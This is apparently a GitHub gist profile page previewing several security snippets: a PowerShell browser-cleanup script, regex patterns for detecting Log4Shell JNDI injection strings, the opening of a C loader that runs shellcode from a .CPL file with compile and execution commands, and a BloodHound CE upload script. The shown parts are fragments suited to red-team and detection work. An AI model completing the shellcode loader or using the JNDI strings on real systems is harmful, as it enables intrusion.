Skip to content

Instantly share code, notes, and snippets.

View ag-michael's full-sized avatar
💭
for(;;){}

Michael ag-michael

💭
for(;;){}
View GitHub Profile
@ag-michael
ag-michael / Browser-Cleanup.ps1
Last active August 31, 2021 17:27
Browser-Cleanup: Remove push notificaiton exemptions and non-exempt extensions
<#
.SYNOPSIS
Reset push-notification exceptions and remove non-exempt extensions.
With just the -User, it lists the changes that will be made.
.PARAMETER User
The User profile name name in C:\Users\
.PARAMETER Clean
Commit changes by removing notification exemptions and extensions directories
.PARAMETER KillBrowsers
Kill running browser processes
.*jndi:(ldap|ldaps|rmi|dns).*/
.*j\}.*n\}.*d\}.*i\}.*:\/\/.*/
.*lower:jndi.*:\/\/.*/
.*\$\{::.*:\w{3,6}:\/\/.*
@ag-michael
ag-michael / beacon.c
Created May 22, 2022 19:21
Load shellcode from a .CPL
// To compile:x86_64-w64-mingw32-g++ -shared -fno-stack-protector -o bacon.cpl bacon.c
// To run: rundll32.exe shell32.dll,Control_RunDLL beacon.cpl
// To run: control.exe beacon.cpl
#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
typedef NTSTATUS (NTAPI * NtCreateThreadEx_t)(
OUT PHANDLE hThread,
IN ACCESS_MASK DesiredAccess,
@ag-michael
ag-michael / uploadToBloodhoundCE.py
Last active January 3, 2024 17:11
uploadToBloodhoundCE.py
import os,sys
import requests
import hmac
import hashlib
import datetime
import base64,time
import subprocess
BHE_TOKEN_ID = "<replace me>"
BHE_TOKEN_KEY = "<replace me>"